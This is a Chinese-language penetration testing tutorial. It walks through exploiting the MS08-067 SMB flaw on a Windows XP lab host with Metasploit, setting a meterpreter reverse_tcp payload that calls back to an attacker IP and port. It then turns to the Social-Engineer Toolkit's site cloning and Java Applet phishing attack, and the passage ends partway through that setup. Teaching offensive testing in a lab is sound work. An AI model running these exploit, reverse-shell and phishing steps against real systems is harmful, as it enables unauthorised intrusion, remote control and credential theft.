渗透攻击
Metasploit基础
Metasploit是一个集成了多个漏洞测试工具的框架。Metaslpoit在kali中已经内置,启动只需在终端输入以下命令:
msfconsole
启动后显示的模板如下:
第一行给出当前Metasploit的版本,其中包含了7个模块:1949个exploits,1089个auxiliary,334个posts,558个payloads,
45个encoders,10个nops,7个evasion
常用模块的作用
- 漏洞渗透模块(exploits):用于发现漏洞后对漏洞进行利用。每一个模块对应着一个漏洞,发现了目标的漏洞后,我们无需知道漏洞是怎样产生的,甚至无需会编程,只需要知道漏洞的名字,然后执行对应的漏洞模块,就可以实现对目标的入侵。
- 辅助模块(auxiliary):进行信息收集的模块,例如一些信息侦查、网络扫描类的工具。
- 攻击载荷模块(payloads):被控端程序,可以帮助我们在目标上完成远程控制操作,通常这些模块既可以单独执行,也可以和漏洞渗透模块一起执行
- 后渗透攻击模块(post):当我们成功获取目标的控制权后,这类模块就能帮助我们提高控制权限、获取敏感信息、实施跳板攻击等
- evasion模块:创建反杀毒软件的木马(绕过杀毒软件)
Metasploit命令的分类
启动metasploit后在msf>后输入以下命令会显示系统提供的命令
help
- 核心命令(core command)
- 模块命令(module command)
- 任务命令(job command)
- 资源命令(resource script command)
- 数据库后台命令(database backend command)
- 登录凭证后台命令(credentials backend command)
使用Metasploit对操作系统进行攻击
使用namp对WindowsXP系统进行漏洞扫描:
nmap -sV -p- --script vuln --script-args unsafe 192.168.75.130
上诉IP地址为WindowsXP的IP地址,得到的结果如图所示:
上图显示WindowsXP有MS08_067的漏洞,下面使用Metasploit对该漏洞进行利用
启动Metasploit后,使用search命令查看针对MS08_067的渗透模块:
search ms08_067
对找到的渗透模块进行利用:
use exploit/windows/smb/ms08_067_netapi(渗透模块的名字)
通过以下命令查看这个模块需要设置的参数
show options
由搜索结果可知我们需要对RHOST(靶机的IP地址)进行设置,其他两个值使用默认值即可对参数进行设置:
set RHOST 192.168.75.130 (靶机IP地址)
加入在目标系统中完成特定任务的程序B,即攻击载荷(请参阅渗透测试(4))
show payloads //查看该模块可利用的攻击载荷 set payload windows/meterpreter/reverse_tcp //选择其中一个设置为攻击载荷
windows/meterpreter/reverse_tcp是在渗透测试(4)中所陈述的远程控制程序。
为攻击载荷设置参数:
set LHOST 192.168.75.129 //设置主控端IP地址 set LPORT 8888 //设置主控端的端口
开始攻击:
exploit
如果出现meterpreter > 的符号则证明攻击成功,进入后渗透阶段
注:如果该攻击过程出现连接错误,可以通过show targets命令查看靶机操作系统对应的target id,再使用set target id(eg. set target 10)命令再执行exploit
使用Metasploit对应用程序进行攻击
当我们在操作系统上找不到漏洞时,就可以将目光移动到上面的应用程序中
社会工程学工具
社会工程学是一种通过研究受害者心理,并以此诱使受害者做出配合,从而达到自身目的的方法。
SET
SET(Socail-Engineer Toolkit,社会工程学工具包),是常用的社会工程学工具的集合,其中包含了很多渗透测试工具。Kali中已经内置,在Kali应用中点击SET图标即可启动工具。
启动后的界面如图所示:
我们选择1社会工程学攻击来查看该选项包含的功能:
SET工具包中的网页攻击方法
我们选择社会工程学攻击中的2(Website Attack Vector),启动会产生如下选项:
Applet攻击
1)Java Applet Attack Method 这种方法与java applet有关,java applet就是用java语言编写的小应用程序,它们可以直接嵌入到网页中,并能够产生特殊的效果,Applet经编译后,会产生.class文件,把.class的文件嵌入到html的网页中,只要用户连到一个网页里,Applet就会随着网页下载到用户的计算机运行。
此种攻击方式属于网站攻击,所以必须先建立一个网站出来,对于网站建立SET提供了以下三种方式:
- 1)Web Templates 利用SET中自带的模板作为钓鱼网站
- 2)Site Cloner 可以克隆任何网站,可以使用它模拟出想要冒充的网站
- 3)Custom Import 允许导入自己的网站
我们选择2进行网站克隆,因为我们要在内网建立一个网站,所以不用.NAT技术,选择no。
用Java写的小程序如果没有经过签名,那么访问客户端程序下载后会受到安全限制,在这里我们需要使用一个经过签名的Applet,选择2:
接下来需要输入所克隆网站的地址,出现以下语句就提示我们可以在新克隆好的网站上展开一次Java Applet攻击:
选择其中一个攻击载荷(默认),设置用来监听的端口(默认),接下来选择payload的连接方式。